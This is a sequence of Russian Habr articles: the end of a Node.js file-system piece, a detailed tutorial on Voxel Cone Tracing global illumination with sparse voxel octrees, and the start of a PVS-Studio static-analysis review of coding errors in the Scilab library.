Сегодня мы рассмотрели модули Node.js `fs` и `path`, которые используются для работы с файловой системой. В следующей части этой серии, на которой она завершается, мы обсудим модули `os`, `events`, `http`, поговорим о работе с потоками и с системами управления базами данных в Node.js.
**Уважаемые читатели!** Какими npm-пакетами вы пользуетесь при работе с файловой системой в Node.js?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/424969/ | null | ru | null |
# Глобальное освещение с использованием трассировки вокселей конусами
В этой статье я расскажу о реализации одного из алгоритмов расчёта глобального (переотражённого / ambient) освещения, применяемого в некоторых играх и других продуктах, — Voxel Cone Tracing (VCT). Возможно, кто-то читал старенькую [статью](http://research.nvidia.com/sites/default/files/publications/GIVoxels-pg2011-authors.pdf) ([VCT]) 2011 года или смотрел [видео](https://www.youtube.com/watch?v=fAsg_xNzhcQ). Но статья не даёт исчерпывающих ответов на вопросы, как реализовать тот или иной этап алгоритма.
*Рендер сцены без глобального освещения, и с использованием VCT:*
Прежде всего стоит сказать, что реализация глобального освещения с использованием карт окружения (PMREM / IBL) получается дешевле, чем VCT. Например, один из разработчиков UE4 рассказывал в [подкасте](https://youtu.be/bzHevRs-cd4?t=5645) (1:34:05 — 1:37:50), что они рендерили демку с использованием VCT, а потом с использованием карт окружения, и картинка получилась примерно одинаковой. Тем не менее, ведутся исследования в рамках такого подхода. На его идеях, например, базируется современный VXGI от Nvidia.
Во время работы я опирался на кучу источников, которые можно найти в конце статьи.
Для упрощения задачи, в реализации учтено только диффузное освещение (модель Лабмерта), но утверждается, что этот алгоритм подойдёт для множества других BRDF. Также в реализации не учтены динамические объекты сцены.
Описывать реализацию буду в терминах DirectX, но такой алгоритм вполне можно реализовать и на OpenGL. В работе используются некоторые фишки DX 11.1 (например, использование UAV в вертексном шейдере), но можно обойтись и без них, тем самым понизив минимальные системные требования для этого алгоритма.
Для лучшего понимания работы алгоритма опишем его общие этапы, а после детализируем каждый из них. Наиболее общие части алгоритма:
1. **Вокселизация сцены**. Мы растеризуем сцену в набор вокселей, содержащих свойства материала (например, цвет) и нормали поверхностей.
2. **Запекание отражённого освещения**. Для вокселей рассчитывается входящее или исходящее излучение от источников освещения, а результат записывается в 3D-текстуру.
3. **Трассировка конусов**. Для каждого рассчитываемого пикселя поверхности создаётся группа конусов. Конус — это абстракция, имитирующая группу лучей, испускаемую для захвата излучения из различных мипов 3D-текстуры освещения. Конечный результат взвешенно усредняется и складывается с основным освещением.
Эти этапы могут иметь несколько идейных вариантов реализаций или содержать дополнительные оптимизации. Я хочу показать в общем виде, как это можно сделать.
Для начала определимся со структурой хранения вокселизированной сцены. Можно вокселизовать все объекты в 3D-текстуру. Недостаток этого решения — неоптимальный расход памяти, потому что бо̒льшая часть сцены является пустым пространством. Для вокселизации с разрешением 256х256х256 формата R8G8B8A8 такая текстура будет занимать 64 Мб, и это без учёта мипов. Такие текстуры требуются для цвета и нормалей поверхностей, а также для запекаемого освещения.
Для оптимизации расхода памяти применяются алгоритмы упаковки данных. В нашей реализации мы воспользуемся Sparse Voxel Octree (SVO), как в оригинальной статье. Но есть и другие алгоритмы, например, 3D Clipmap [S4552].
SVO — это разреженное октодерево сцены. Каждый узел такого дерева разбивает подпространство сцены на 8 равных частей. Разреженное дерево при этом не хранит информацию о пространстве, которое ничем не занято. Мы будем пользоваться этой структурой для поиска вокселей по их координатам в пространстве, а также для сэмплирования запеченного освещения. Запеченное освещение будет храниться в специальной 3D-текстуре — буфере блоков, о котором поговорим ниже.
Рассмотрим каждый из этапов алгоритма по отдельности.
Вокселизация сцены
------------------
Вокселизированную сцену будем хранить в виде массива вокселей. На GPU этот массив реализован через StructuredBuffer / RWStructuredBuffer. Структура вокселей будет следующей:
```
struct Voxel
{
uint position;
uint color;
uint normal;
uint pad; // 128 bits aligment
};
```
Для компактного хранения сцены мы используем SVO. Дерево будет храниться в 2D-текстуре формата R32\_UINT. Структура узла дерева:
*Схематическое представление узлов SVO [DP]*
В листьях SVO на последнем уровне будут храниться индексы соответствующих вокселей из этого массива.
Допустим, разрешение нашей сцены 256x256x256, тогда для хранения полностью заполненного дерева нам потребуется текстура размером 6185x6185 (145,9 Мб). Но мы не предполагаем хранить полное дерево. По моим наблюдениям, для сцены Sponza при таком разрешении сцены разреженное дерево помещается в текстуру 2080х2080 (16,6 Мб).
Создание массива вокселей
-------------------------
Для создания массива вокселей нужно вокселизовать все объекты сцены. Воспользуемся простой вокселизацией из смежной статьи [Octree-Based Sparse Voxelization](https://www.seas.upenn.edu/~pcozzi/OpenGLInsights/OpenGLInsights-SparseVoxelization.pdf). Эта техника проста в реализации и работает за один проход GPU.
*Пайплайн вокселизации объекта [SV]*
Вычисляем ограничивающий куб сцены. Устанавливаем вьюпорт по разрешению вокселизированной сцены (например, 256х256). Выставляем ортографическую камеру над сценой так, чтобы уместить ограничивающий куб. Рендерим каждый объект сцены, который мы хотим учитывать.
В геометрическом шейдере мы занимаемся обработкой треугольников объекта. С помощью нормали треугольника выбирается ось, в направлении которой площадь проекции этого треугольника максимальна. В зависимости от оси поворачиваем треугольник наибольшей проекцией к растеризатору — так мы получим больше вокселей.
В пиксельном шейдере каждый фрагмент будет являться вокселем. Создаём структуру Voxel с координатами, цветом и нормалью, и добавляем его в массив вокселей.
На этом этапе желательно использовать низкополигональные лоды (LOD) объектов, чтобы не иметь проблем с отсутствующими вокселями и со слиянием вокселей смежных треугольников (такие случаи рассмотрены в статье [SV]).
*Артефакты вокселизации — не все треугольники растеризуются. Следует использовать низкополигональные лоды или дополнительно растягивать треугольники.*
Создание октодерева по списку вокселей
--------------------------------------
Когда вся сцена вокселизована, у нас есть массив вокселей с их координатами. По этому массиву можно построить SVO, с помощью которого сможем находить воксели в пространстве. Изначально каждый пиксель текстуры с SVO инициализируется значением 0xffffffff. Для записи узлов дерева через шейдер текстура SVO будет представлена как UAV-ресурс (RWTexture2D). Для работы с деревом заведём атомарный счётчик узлов (D3D11\_BUFFER\_UAV\_FLAG\_COUNTER).
Опишем поэтапно алгоритм создания октодерева. Под адресом узла в SVO далее подразумевается индекс узла, который преобразуется в 2D-координаты текстуры. Под аллоцированием узла далее подразумевается следующий набор действий:
* C помощью текущего значения счётчика узлов вычисляются адреса, в которых будут располагаться дочерние узлы аллоцируемого узла.
* Счётчик узлов увеличивается на количество дочерних узлов (8).
* Адреса дочерних узлов записываются в поля текущего узла.
* В поле флага текущего узла записывается, что он аллоцирован.
* Адрес текущего узла записывается в родительское поле дочерних узлов.
*Схематичное изображение октодерева и его представления в текстуре [SV]*
Алгоритм создания октодерева высотой N выглядит следующим образом:
1. **Аллоцируем корневой узел**. Текущий уровень дерева = 1. Счётчик узлов = 1.
2. **Перебираем воксели**. Для каждого вокселя находим узел (подпространство) на текущем уровне дерева, которому он принадлежит. Помечаем такие узлы флагом, что необходима аллокация. Этот этап можно распараллелить на вершинном шейдере с помощью [Input-Assembler без буферов](https://msdn.microsoft.com/ru-ru/library/windows/desktop/bb232912(v=vs.85).aspx), используя только количество вокселей и атрибут SV\_VertexID для адресации по массиву вокселей.
3. **Для каждого узла текущего уровня дерева проверяем флаг**. Если необходимо, аллоцируем узел. Этот этап также можно распараллелить на вершинном шейдере.
4. **Для каждого узла текущего уровня дерева прописываем в дочерних узлах адреса соседей**.
5. **Текущий уровень дерева++**. Повторяем шаги 2-5, пока текущий уровень дерева < N.
6. **На последнем уровне вместо аллокации текущего узла записываем индекс вокселя в массиве вокселей**. Таким образом, узлы последнего уровня будут содержать до 8 индексов.
Построив такое октодерево, мы легко можем найти воксель сцены по координатам в пространстве, спускаясь вниз по SVO.
Создание буфера блоков по октодереву
------------------------------------
Теперь, когда мы сконструировали октодерево вокселизированной сцены, можно использовать эту информацию для сохранения освещённости, переотражённой вокселями от источников освещения. Освещённость сохраняется в 3D-текстуру формата R8G8B8A8. Это позволит нам использовать трилинейную интерполяцию GPU при сэмплировании текстуры, и в результате получим более гладкое итоговое изображение. Такая текстура называется буфером блоков (brick buffer), потому что она состоит из блоков, расположенных в соответствии с SVO. Блок — это другое представление группы вокселей в пространстве.
Группы из 2х2х2 вокселей, индексы которых расположены в листьях SVO, отображаются на блоки вокселей 3х3х3 из 3D-текстуры:
*Отображение группы вокселей в блок вокселей [DP]*
Группы вокселей, расположенные в сцене рядом друг с другом, в текстуре могут оказаться разбросаны (поскольку текстура строится на основе SVO). Поэтому для корректной интерполяции между соседними группами вокселей необходимо проделать дополнительную работу по усреднению значений между соседними блоками.
*Усреднение границ соседних блоков*
Воксели из блока располагаются по углам исходной группы вокселей и между ними. Таким образом, блоки занимают в пространстве больше места, чем исходные воксели. Но сэмплирование внутри блока будет производиться по границам исходных вокселей. Так появляется подобие некоторого разграничителя шириной в полпикселя, который никак не используется.
Блоки, расположенные в соответствии с листьями SVO, — это отображение исходных вокселей. Блоки, расположенные в соответствии с остальными узлами SVO на определённых уровнях октодерева, — это MIP-уровни буфера блоков.
*Схематичное изображение октодерева, его представления в текстуре и отображение в буфер блоков [SV]*
При этом блоки не обязаны быть 3х3х3, они могут быть и 2x2x2, и 5х5х5 — это вопрос точности представления. Блоки 2х2х2 были бы ещё одним хорошим способом экономии памяти, но такого подхода я нигде не встречал.
*Сравнение интерполяции при сэмплировании четырёх соседних вокселей: без буфера блоков, из буфера блоков 3х3х3 и из буфера блоков 5х5х5*
Создание такого буфера блоков — довольно трудоёмкое занятие. Мы создадим два буфера: для хранения прозрачности сцены и для хранения освещения.
Этапы создания буфера блоков
----------------------------
Первый шаг — заполнение вокселей блоков, сопоставляемых с листьями октодерева. Допустим, мы вычисляем отражённое освещение в конкретных вокселях SVO. Тогда эти значения будут отображаться в соответствующие угловые воксели буфера блоков.
После окончания вычисления исходящего освещения, для каждого блока дозаполним оставшиеся воксели усреднёнными значениями соседних вокселей внутри блока:
Теперь усредним значения между соседними блоками. Именно для этого в узлах дерева хранятся соседи в пространстве.
*Один из вариантов усреднения буфера блоков — по каждой из осей за три прохода. Красным прямоугольником помечены возможные артефакты при таком усреднении [DP]*
Создадим MIP-уровни такого буфера. Узлы верхних уровней SVO будут отображаться в блоки, которые содержат усреднённые значения с нижележащего уровня. Каждый блок, соответствующий узлу с верхнего уровня дерева, включает в себя информацию из блоков соответствующих потомков. Также это могут быть блоки, соответствующие не только непосредственно дочерним узлам в дереве, но и их соседям (см. рисунок ниже).
*Слева — блок включает в себя информацию из дочерних блоков и их соседей. Справа — блок включает в себя информацию только из дочерних блоков [DP]*
Чтобы уменьшить количество обращений к памяти, для каждого вычисляемого блока используются только воксели дочерних блоков (рисунок справа). После этого усредняются значения между соседними блоками, как описано выше. И так мы создаём MIP-уровни, пока не дойдём до корневого узла SVO.
Создадим два буфера — буфер блоков прозрачности сцены и буфер блоков отражённого освещения.
Буфер блоков прозрачности создаётся предварительно, на основе вокселизированной геометрии сцены. Мы будем хранить направленную прозрачность вокселей. Для этого заполним RGB-значения вокселей блоков с нижнего уровня в соответствии с прозрачностью вокселей, а при создании MIP-уровней блоков для каждого вычисляемого вокселя будем выбирать усреднённое максимальное значение прозрачности по осям XYZ, и сохранять их в соответствующие RGB-значения текстуры. Такое решение помогает учитывать преграждение света в пространстве в определённом направлении.
*В каждом направлении выбирается максимум в значении прозрачности (т.е. 1.0 — совершенно непрозрачный объект, и это значение будет максимальным). Далее, при конструировании MIP-уровней максимумы по осям XYZ в дочерних блоках усредняются и складываются в компоненты RGB. [DP]*
Запекание отражённого освещения
-------------------------------
Освещение, переотражённое вокселем, вычисляется путём обработки карты теней от рассчитываемых источников освещения. С помощью этой карты мы можем получить координаты объектов в пространстве и, используя SVO, преобразовать их в индексы освещаемых вокселей.
Обычно разрешение карты теней выше разрешения октодерева. Оригинальная статья описывает подход, при котором каждый пиксель карты теней рассматривается как условный фотон. Соответственно, в зависимости от количества фотонов будет разный вклад в освещённость. В своей реализации я упростил этот этап и считал освещённость только один раз для каждого вокселя, попавшего в карту теней.
Чтобы избежать повторных вычислений, для каждого вокселя, для которого уже было рассчитано отражённое освещение, мы воспользуемся битом флага узла октодерева, который хранит указатель на воксель. Также, при обработке карты теней можно среди пикселей, входящих в один и тот же воксель, выбирать для вычисления только левый верхний.
*Фрагмент карты теней (слева). Справа — красным показаны левые верхние пиксели, входящие в один и тот же воксель.*
Для вычисления отражённой освещённости используется стандартный albedo \* lightColor \* dot(n, l), но в общем случае это зависит от BRDF. Вычисленная освещённость записывается в буфер блоков освещения. После обработки карты теней производится дозаполнение буфера блоков и создание MIP-уровней, как описано выше.
Алгоритм достаточно дорогостоящий. Необходимо пересчитывать буфер блоков освещения при каждом изменении освещения. Один из возможных способов оптимизации — размазывание обновления буфера [по кадрам](https://habrahabr.ru/post/320530/).
Создание G-Buffer
-----------------
Чтобы для конкретного пикселя применить трассировку вокселей конусами, необходимо знать нормаль и местоположение пикселя в пространстве. Эти атрибуты используются для обхода SVO и соответствующего сэмплирования буфера блоков освещения. Получить эти атрибуты можно из [G-buffer](https://en.wikipedia.org/wiki/Deferred_shading).
С помощью G-buffer также можно вычислять переотражённое освещение в меньшем разрешении, чем у вьюпорта, что способствует улучшению производительности.
Трассировка вокселей конусами
-----------------------------
Когда буфер блоков освещения вычислен, можно переходить к вычислению освещения, переотражённого от сцены на объекты в кадре — то есть глобального освещения. Для этого применяется трассировка вокселей конусами.
Для каждого пикселя испускается несколько конусов в соответствии с BRDF. В случае модели освещения по Ламберту, конусы испускаются равномерно по полусфере, ориентированной с помощью нормали, полученной из G-buffer.
*Испускание конусов с поверхности, для которой рассчитывается входящее освещение [VCT]*
При вычислении мы допускаем, что освещённость, получаемая из точки на поверхности в направлении вокселя, будет такой же, как испущенная из вокселя в сторону поверхности в определённом конусе видимости.
*[VCT]*
Трассировка производится пошагово. На каждом шаге сэмплируется буфер блоков освещения в соответствии с уровнем октодерева (т.е. в соответствии с созданными MIP-уровнями), начиная с самого нижнего и заканчивая самым верхним.
*Сэмплирование буфера блоков с помощью конуса в соответствии с уровнями SVO [DP]*
Трассировка конусом производится аналогично рендерингу volumetric-объектов [A]. Т.е. используется модель alpha front-to-back, при которой на каждом следующем шаге вдоль конуса цвет и прозрачность вычисляются следующим образом:
```
с’ = с’ + ( 1 — а’ ) * с
а’ = а’ + ( 1 — а’ ) * а
```
где а — прозрачность, с — значение, полученное из буфера блоков освещения, умноженное на прозрачность (premultiplied alpha).
Значение прозрачности вычисляется с помощью буфера блоков прозрачности:
```
opacityXYZ = opacityBrickBuffer.Sample( linearSampler, brickSamplePos ).rgb;
alpha = dot( abs( normalize( coneDir ) * opacityXYZ ), 1.0f.xxx );
```
Иными словами, считывается прозрачность в направлении конуса в конкретной точке. Это не единственный подход. Можно, например, хранить прозрачность в альфа-канале буфера блоков освещения. Но тогда теряется направленность переотражённого освещения. Также я пробовал хранить направленную освещённость в шести буферах блоков освещения (по два на каждую ось) — затрат больше, чем видимых преимуществ.
Итоговый результат по конусам взвешенно суммируется в зависимости от углов раствора конусов. Если все конусы одинаковые, вес делится поровну. Выбор количества конусов и размера углов раствора — это вопрос соотношения скорости и качества. В моей реализации 5 конусов по 60 градусов (один в центре, и 4 по бокам).
На рисунке выше схематично показаны точки сэмплирования вдоль оси конуса. Рекомендуется выбирать расположение сэмплов таким образом, чтобы в конус вписывался узел октодерева с соответствующего уровня. Либо можно заменить на соответствующую сферу [SB]. Но тогда могут проявляться резкие границы вокселей, поэтому расположение сэмплов корректируется. В своей реализации я просто сдвигаю сэмплы ближе друг к другу.
Бонусом к переотражённому освещению мы также получаем затенение [Ambient Occlusion](https://ru.wikipedia.org/wiki/Ambient_occlusion), которое вычисляется исходя из значения альфы, полученного при трассировке. Также при просчёте AO на каждом шаге вдоль оси конуса вносится коррекция в зависимости от расстояния `1 / (1 + lambda * distance)`, где lambda — калибровочный параметр.
Полученный результат сохраняется в текстуру RGBA (RGB для освещения и A для AO). Для более гладкого результата на текстуру можно наложить размытие. Итоговый результат будет зависеть от BRDF. В моём случае вычисленное переотражение сначала умножается на альбедо поверхности, полученное из G-buffer, затем опционально умножается на AO, и наконец добавляется к основному освещению.
В целом, после определённых настроек и доработок картинка похожа на результат из статьи.
*Сравнение результатов — слева сцена, отрендеренная в Mental Ray, справа — Voxel Cone Tracing из оригинальной статьи, в центре — моя реализация.*
Подводные камни
---------------
**Проблема самоосвещения**. Поскольку в большинстве случаев поверхность физически расположена в своих же вокселях, необходимо как-то бороться с самоосвещением. Одним из решений является отодвигание начала конусов в направлении нормалей. Также этой проблемы теоретически можно избежать, если в вокселях хранить направленное распределение освещения.
**Проблема производительности**. Алгоритм довольно сложный, и придётся потратить немало времени на эффективную реализацию на GPU. Я писал реализацию «в лоб», применяя довольно очевидные оптимизации, и нагрузка получилась высокой. При этом даже оптимизированный алгоритм при поиске вокселей в дереве будет требовать множество зависящих друг от друга сэмплов текстуры SVO.
В моей реализации я испускаю 5 конусов, сэмплируя буферы блоков для 4 предпоследних уровней октодерева 256х256х256. Согласно Intel GPA, относительное распределение производительности получилось таким:
*Распределение производительности. G-Buffer и Shadow Map без предварительного кулинга.*
В оригинальной статье используются три диффузных конуса на текстуре 512х512 на всём SVO (512x512x512 — 9 уровней). Вместе с прямым освещением это занимает ~45% времени кадра 512х512. Есть куда стремиться. Также необходимо уделить внимание оптимизации обновления буфера освещения.
Ещё одной проблемой алгоритма является **просачивание света сквозь объекты** (light leaking). Такое случается с тонкими объектами, которые вносят малый вклад в буфер блоков прозрачности. Также этому явлению подвержены плоскости, расположенные рядом с освещёнными вокселями нижних уровней SVO:
*Light leaking: слева — при использовании алгоритма VCT, справа — в реальной жизни. Этот эффект можно ослабить с помощью AO.*
Из всего вышесказанного вытекает ещё одно следствие: не так просто настроить алгоритм, чтобы получить хорошую картинку — сколько брать конусов, сколько уровней SVO, с какими коэффициентами и т.д.
Мы рассмотрели только статические объекты сцены. Для хранения динамических объектов потребуется модифицировать SVO и соответствующие буферы. Как правило, в этом случае предлагают раздельно хранить статические и динамические узлы.
Подводя итог, я бы не стал рекомендовать эту технику, если у вас нет достаточно времени, терпения и сил. Но зато она поможет добиться правдоподобного ambient-освещения.
Демонстрация в динамике:
Ссылка на приложение: <https://github.com/Darkxiv/VoxelConeTracing> (bin/VCT.exe)
**Список источников и ресурсов, которые могут помочь в реализации воксельной трассировки конусами:**
* [VCT] Оригинальная статья: <http://research.nvidia.com/sites/default/files/publications/GIVoxels-pg2011-authors.pdf>
* [SV] Дополнение к оригинальной статье, в которой разъясняется вокселизация и SVO: <https://www.seas.upenn.edu/~pcozzi/OpenGLInsights/OpenGLInsights-SparseVoxelization.pdf>
* [S4552] Презентация NVIDIA: <http://on-demand.gputechconf.com/gtc/2014/presentations/S4552-rt-voxel-based-global-illumination-gpus.pdf>
* [A] Модель alpha front-to-back: <http://developer.download.nvidia.com/books/HTML/gpugems/gpugems_ch39.html>
* [DP] Диплом, сделанный на основе оригинальной статьи: <http://dcgi.felk.cvut.cz/theses/2013/drinotom>
* [SB] Описание ещё одной реализации VCT: <http://simonstechblog.blogspot.ru/2013/01/implementing-voxel-cone-tracing.html>
* Слайды с реализацией в UE4: <https://www.yumpu.com/en/document/view/4694219/the-technology-behind-the-elemental-demo-unreal-engine>
* Объяснение сэмплирования ambient кубов: <http://www.valvesoftware.com/publications/2006/SIGGRAPH06_Course_ShadingInValvesSourceEngine.pdf>
* Библиотека sparse octree от NVIDIA <https://developer.nvidia.com/gvdb> | https://habr.com/ru/post/353740/ | null | ru | null |
# Математикам доверяй, но проверяй
Я временами бываю озадачен, рассматривая ошибки в очередном программном проекте. Многие из этих ошибок живут в проектах годами. Смотришь на сотню ляпов в коде и удивляешься, как программа вообще работает. И ведь как-то работает. Ей даже пользуются. Причем, я говорю не о коде, рисующем покемона в игре. А, например, о математических библиотеках. Да, вы верно догадались. В этой статье пойдет речь о проверке кода математической библиотеки Scilab.
Scilab
------
Сегодня мы будем рассматривать подозрительные фрагменты кода в математическом пакете Scilab. Анализа выполнен с помощью инструмента [PVS-Studio](http://www.viva64.com/ru/pvs-studio/).
Scilab — пакет прикладных математических программ, предоставляющий мощное открытое окружение для инженерных (технических) и научных расчётов [[Wikipedia](http://www.viva64.com/go.php?url=1367)].
Официальный сайт: <http://www.scilab.org/>
В системе доступно множество инструментов:* 2D и 3D графики, анимация;
* линейная алгебра, разреженные матрицы (sparse matrices);
* полиномиальные и рациональные функции;
* интерполяция, аппроксимация;
* симуляция: решение ОДУ и ДУ;
* Scicos: гибрид системы моделирования динамических систем и симуляции;
* дифференциальные и не дифференциальные оптимизации;
* обработка сигналов;
* параллельная работа;
* статистика;
* работа с компьютерной алгеброй;
* интерфейс к Fortran, Tcl/Tk, C, C++, Java, LabVIEW.
Приготовьтесь. Статья будет длинная. Я ведь не виноват, что тут так много разных пакостей. И хочется показать разные классы ошибок.
Конечно, найденные недостатки не имеют отношения к математике. Возможно, все алгоритмы в библиотеке правильные и эффективные. Однако, раз для написания выбран язык Си++, надо не забывать, что помимо ошибок в алгоритмах, бывают ещё и опечатки, разыменование нулевых указателей и прочие ляпы. Собственно, пользователю не важно, встретится ему логическая ошибка в численном алгоритме или он станет жертвой неинициализированной переменной.
Да, статический анализ находит только некоторые виды ошибок. Но раз их легко обнаружить, зачем себе отказывать в таком удовольствии. Лучше поправить ещё 10% ошибок, чем вовсе ничего не поправить.
Итак, давайте посмотрим, что рассказал мне анализатор PVS-Studio о проекте Scilab.
Буфер, которого нет
-------------------
```
int sci_champ_G(....)
{
....
char * strf = NULL ;
....
if ( isDefStrf( strf ) )
{
char strfl[4];
strcpy(strfl,DEFSTRFN);
strf = strfl;
if ( !isDefRect( rect ) )
{
strf[1]='5';
}
}
(*func)(stk(l1), stk(l2), stk(l3), stk(l4),
&m3, &n3, strf, rect, arfact, 4L);
....
}
```
Сообщение PVS-Studio: V507 Pointer to local array 'strfl' is stored outside the scope of this array. Such a pointer will become invalid. sci\_champ.c 103
Ссылка на временный массив 'strfl' сохраняется в переменной 'strf'. При выходе из блока «if () {… }» этот массив перестаёт существовать. Однако, в программе работают с указателем 'strf'.
Поведение такой программы непредсказуемо. Нельзя работать с массивом, которого уже нет. Конечно, программа может вполне корректно отработать. Однако, это везение. Память, где располагался массив, в любой момент может быть занята под хранение других массивов или переменных.
Аналогичные проблемы:* Array 'strfl'. sci\_fec.c 111
* Array 'strfl'. sci\_grayplot.c 94
* Array 'strfl'. sci\_matplot.c 84
Что-то не то посчитали
----------------------
```
int C2F(pmatj)
(char *fname, int *lw, int *j, unsigned long fname_len)
{
....
ix1 = il2 + 4;
m2 = Max(m, 1);
ix1 = il + 9 + m * n;
....
}
```
Предупреждение PVS-Studio: V519 The 'ix1' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 2387, 2389. stack1.c 2389
С переменной 'ix1' что-то неладно. Мне кажется, здесь какая-то опечатка.
В начале проверка, затем инициализация
--------------------------------------
Интересный фрагмент кода. Нужно получить некоторые значения, а затем проверить их. Но получилось наоборот.
```
int sci_Playsound (char *fname,unsigned long fname_len)
{
....
int m1 = 0, n1 = 0;
....
if ( (m1 != n1) && (n1 != 1) )
{
Scierror(999,_("%s: Wrong size for input argument #%d: ")
_("A string expected.\n"),fname,1);
return 0;
}
sciErr = getMatrixOfWideString(pvApiCtx, piAddressVarOne,
&m1,&n1,&lenStVarOne, NULL);
....
}
```
Предупреждения PVS-Studio: V560 A part of conditional expression is always false: (m1 != n1). sci\_playsound.c 66; V560 A part of conditional expression is always true: (n1 != 1). sci\_playsound.c 66
Переменные m1 и n1 должны получить значения при вызове функции getMatrixOfWideString(). Потом эти переменные должны быть проверены. Вот только получилось так, что проверка осуществляется до вызова функции getMatrixOfWideString().
В момент проверки переменные m1 и n1 равны 0. Условие «if ( (m1 != n1) && (n1 != 1) )» не выполняется. В результате, поверка никак не влияет на работу программы.
Итого. Не осуществляется проверка переменных m1 и n1.
Магические числа
----------------
```
void CreCommon(f,var)
FILE *f;
VARPTR var;
{
....
if ( strncmp(var->fexternal, "cintf", 4)==0 )
....
}
```
Предупреждение PVS-Studio: V666 Consider inspecting third argument of the function 'strncmp'. It is possible that the value does not correspond with the length of a string which was passed with the second argument. crerhs.c 119
Используется магическое число 4. И это число неправильное. В строке «cintf» пять символов, а не четыре. Не используйте такие магические числа.
Я бы сделал специальный макрос для вычисления длины строковых литералов и использовал бы его так:
```
if ( strncmp(var->fexternal, "cintf", litlen("cintf"))==0 )
```
Как изготовить макрос 'litlen', обсуждать не будем. Есть масса способов на любой вкус. Главное, избавиться от числа.
Другие неправильные размеры строк:* crerhs.c 121
* crerhs.c 123
* crerhs.c 125
* crerhs.c 127
1, 2, 3, 4, 4, 6
----------------
```
int C2F(run)(void)
{
....
static int *Lpt = C2F(iop).lpt - 1;
....
Lpt[1] = Lin[1 + k];
Lpt[2] = Lin[2 + k];
Lpt[3] = Lin[3 + k];
Lpt[4] = Lin[4 + k];
Lct[4] = Lin[6 + k ];
Lpt[6] = k;
....
}
```
Предупреждение PVS-Studio: V525 The code containing the collection of similar blocks. Check items '1', '2', '3', '4', '4' in lines 1005, 1006, 1007, 1008, 1009. run.c 1005
Опечатка в последовательности чисел. В результате один элемент массива останется неинициализированным. Можно массу интересных математических результатов получить.
Эволюция кода
-------------
```
int write_xml_states(
int nvar, const char * xmlfile, char **ids, double *x)
{
....
FILE *fd = NULL;
....
wcfopen(fd, (char*)xmlfile, "wb");
if (fd < 0)
{
sciprint(_("Error: cannot write to '%s' \n"), xmlfile);
....
}
```
Предупреждение PVS-Studio: V503 This is a nonsensical comparison: pointer < 0. scicos.c 5826
Я почти уверен, что когда-то в этом коде для открытия файла использовалась функция [open](http://www.viva64.com/go.php?url=1368). Затем, код переписали и стали использовать функцию на [\_wfopen](http://www.viva64.com/go.php?url=1369). Её вызов спрятан в макрос 'wcfopen'.
А вот проверку, что файл успешно открыт, поправить забыли. Функция open() возвращает в случае ошибки значение -1. Проверять же, что указатель меньше нуля, не имеет никакого практического смысла.
Ещё одно место, где прослеживается история.
```
void taucs_ccs_genmmd(taucs_ccs_matrix* m,
int** perm, int** invperm)
{
int n, maxint, delta, nofsub;
....
maxint = 32000;
assert(sizeof(int) == 4);
maxint = 2147483647; /* 2**31-1, for 32-bit only! */
....
}
```
Предупреждение PVS-Studio: V519 The 'maxint' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 154, 157. taucs\_scilab.c 157
Ошибки здесь нет, но код забавен.
Видно, что давным-давно, было написано «maxint = 32000;». Затем ниже появилось:
```
assert(sizeof(int) == 4);
maxint = 2147483647; /* 2**31-1, for 32-bit only! */
```
Сортируем один элемент
----------------------
```
char *getCommonPart(char **dictionary, int sizeDictionary)
{
....
char *currentstr = dictionary[0];
qsort(dictionary, sizeof dictionary / sizeof dictionary[0],
sizeof dictionary[0], cmp);
....
}
```
Предупреждение PVS-Studio: V514 Dividing sizeof a pointer 'sizeof dictionary' by another value. There is a probability of logical error presence. getcommonpart.c 76
Второй аргумент функции qsort() — это количество элементов в массиве. Из-за ошибки, количество элементов всегда равно одному.
Рассмотрим выражение «sizeof dictionary / sizeof dictionary[0]». Здесь размер указателя делится на размер указателя. Результат равен единице.
Наверное, правильный код должен был быть таким:
```
qsort(dictionary, sizeDictionary, sizeof dictionary[0], cmp);
```
Аналогичная ошибка здесь: getfilesdictionary.c 105
Упрямые строки
--------------
```
void GetenvB(char *name, char *env, int len)
{
int ierr = 0, one = 1;
C2F(getenvc)(&ierr,name,env,&len,&one);
if (ierr == 0)
{
char *last = &env[len-1];
while ( *last == ' ' ) { last = '\0' ; }
last--;
}
....
}
```
V527 It is odd that the '\0' value is assigned to 'char' type pointer. Probably meant: \*last = '\0'. getenvb.c 24
Эта строка ужасна. Или прекрасна, если мы говорим об интересных ошибках.
```
while ( *last == ' ' ) { last = '\0' ; }
```
Если первый символ в строке пробел, то указатель станет равен нулю. Далее возникнет обращение по нулевому указателю.
Мне кажется, этот код должен был заменить все пробелы на '\0'. Тогда код должен быть таким:
```
while ( *last == ' ' ) { *last++ = '\0' ; }
```
Забавно, что есть ещё одно место в коде, где тоже хотят менять пробелы на нули. И его тоже не удалось написать правильно.
```
static int msg_101(int *n, int *ierr)
{
....
for (i=0;i<(int)strlen(line);i++)
{
if (line[i]==' ') line[i]='\0';
break;
}
....
}
```
Предупреждение PVS-Studio: V612 An unconditional 'break' within a loop. msgs.c 1293
Всё бы хорошо, если бы не оператор 'break'. Будет заменён только один пробел. Впрочем, если убрать 'break' это не поможет. Функция strlen() вернёт ноль, и цикл всё равно остановится.
Аналогичные «одноразовые» циклы:* V612 An unconditional 'break' within a loop. msgs.c 1313
* V612 An unconditional 'break' within a loop. api\_common.cpp 1407
Разыменовывание нулевого указателя
----------------------------------
```
char **splitLineCSV(....)
{
....
if (retstr[curr_str] == NULL)
{
*toks = 0;
FREE(substitutedstring);
substitutedstring = NULL;
freeArrayOfString(retstr, strlen(substitutedstring));
return NULL;
}
....
}
```
Предупреждение PVS-Studio: V575 The null pointer is passed into 'strlen' function. Inspect the first argument. splitline.c 107
Странный код. В начале явно обнулили указатель 'substitutedstring'. Затем, отдали его на растерзание в функцию strlen().
Скорее всего, вызов функции freeArrayOfString() должен быть расположен выше, чем вызов FREE().
Это была разминка. Теперь рассмотрим более сложный случай.
```
inline static void create(void * pvApiCtx, const int position,
const int rows, const int cols, long long * ptr)
{
int * dataPtr = 0;
alloc(pvApiCtx, position, rows, cols, dataPtr);
for (int i = 0; i < rows * cols; i++)
{
dataPtr[i] = static_cast(ptr[i]);
}
}
```
V522 Dereferencing of the null pointer 'dataPtr' might take place. scilababstractmemoryallocator.hxx 222
В этой функции хотят выделить память, используя функцию alloc(). Может показаться, что функция возвращает значение по ссылке. Последним аргументом является указатель 'dataPtr'. Кажется, что в него и будет записан указатель на выделенный буфер памяти.
